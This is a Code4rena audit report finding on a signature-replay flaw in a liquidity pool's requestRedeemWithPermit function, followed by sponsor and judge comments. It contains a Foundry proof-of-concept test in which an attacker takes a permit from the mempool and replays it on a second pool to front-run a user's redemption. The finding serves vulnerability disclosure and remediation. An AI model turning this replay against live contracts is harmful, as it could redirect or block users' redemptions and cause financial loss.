Platform: Code4rena
Start Date: 08/09/2023
Pot Size: $70,000 USDC
Total HM: 8
Participants: 84
Period: 6 days
Judge: gzeon
Total Solo HM: 2
Id: 285
League: ETH
Rank: 2/84
Findings: 1
Award: $11,324.58
🌟 Selected for report: 1
🚀 Solo Findings: 1
🌟 Selected for report: alexfilippov314
11324.5815 USDC - $11,324.58
The permit signature is linked only to the tranche token. That's why it can be used with any liquidity pool with the same tranche token. Since anyone can call LiquidityPool::requestRedeemWithPermit
the following scenario is possible:
requestRedeemWithPermit
. The user signs the permit and sends a transaction.This scenario assumes some user's negligence and usually doesn't lead to a significant loss. But in some cases (for example, USDY depeg) a user can end up losing significantly.
The test below illustrates the scenario described above:
function testPOCIssue1( uint64 poolId, string memory tokenName, string memory tokenSymbol, bytes16 trancheId, uint128 currencyId, uint256 amount ) public { vm.assume(currencyId > 0); vm.assume(amount < MAX_UINT128); vm.assume(amount > 1); // Use a wallet with a known private key so we can sign the permit message address investor = vm.addr(0xABCD); vm.prank(vm.addr(0xABCD)); LiquidityPool lPool = LiquidityPool(deployLiquidityPool(poolId, erc20.decimals(), tokenName, tokenSymbol, trancheId, currencyId)); erc20.mint(investor, amount); homePools.updateMember(poolId, trancheId, investor, type(uint64).max); // Sign permit for depositing investment currency (uint8 v, bytes32 r, bytes32 s) = vm.sign( 0xABCD, keccak256( abi.encodePacked( "\x19\x01", erc20.DOMAIN_SEPARATOR(), keccak256( abi.encode( erc20.PERMIT_TYPEHASH(), investor, address(investmentManager), amount, 0, block.timestamp ) ) ) ) ); lPool.requestDepositWithPermit(amount, investor, block.timestamp, v, r, s); // To avoid stack too deep errors delete v; delete r; delete s; // ensure funds are locked in escrow assertEq(erc20.balanceOf(address(escrow)), amount); assertEq(erc20.balanceOf(investor), 0); // collect 50% of the tranche tokens homePools.isExecutedCollectInvest( poolId, trancheId, bytes32(bytes20(investor)), poolManager.currencyAddressToId(address(erc20)), uint128(amount), uint128(amount) ); uint256 maxMint = lPool.maxMint(investor); lPool.mint(maxMint, investor); { TrancheToken trancheToken = TrancheToken(address(lPool.share())); assertEq(trancheToken.balanceOf(address(investor)), maxMint); // Sign permit for redeeming tranche tokens (v, r, s) = vm.sign( 0xABCD, keccak256( abi.encodePacked( "\x19\x01", trancheToken.DOMAIN_SEPARATOR(), keccak256( abi.encode( trancheToken.PERMIT_TYPEHASH(), investor, address(investmentManager), maxMint, 0, block.timestamp ) ) ) ) ); } // Let's assume that there is another liquidity pool with the same poolId and trancheId // but a different currency LiquidityPool newLPool; { assert(currencyId != 123); address newErc20 = address(_newErc20("Y's Dollar", "USDY", 6)); homePools.addCurrency(123, newErc20); homePools.allowPoolCurrency(poolId, 123); newLPool = LiquidityPool(poolManager.deployLiquidityPool(poolId, trancheId, newErc20)); } assert(address(lPool) != address(newLPool)); // Malicious actor can use the signature extracted from the mempool to // request redemption from the different liquidity pool vm.prank(makeAddr("malicious")); newLPool.requestRedeemWithPermit(maxMint, investor, block.timestamp, v, r, s); // User's transaction will fail since the signature has already been used vm.expectRevert(); lPool.requestRedeemWithPermit(maxMint, investor, block.timestamp, v, r, s); }
Manual review
One of the ways to mitigate this issue is to add some identifier of the liquidity pool to the permit message. This way permit will be linked to a specific liquidity pool.
Other
#0 - c4-pre-sort
2023-09-15T04:27:57Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-09-15T04:28:03Z
raymondfam marked the issue as primary issue
#2 - c4-pre-sort
2023-09-17T06:43:34Z
raymondfam marked the issue as high quality report
#3 - c4-sponsor
2023-09-18T15:13:36Z
hieronx (sponsor) confirmed
#4 - c4-judge
2023-09-25T15:37:33Z
gzeon-c4 marked the issue as satisfactory
#5 - c4-judge
2023-09-26T14:57:32Z
gzeon-c4 marked the issue as selected for report
#6 - hieronx
2023-10-03T13:51:11Z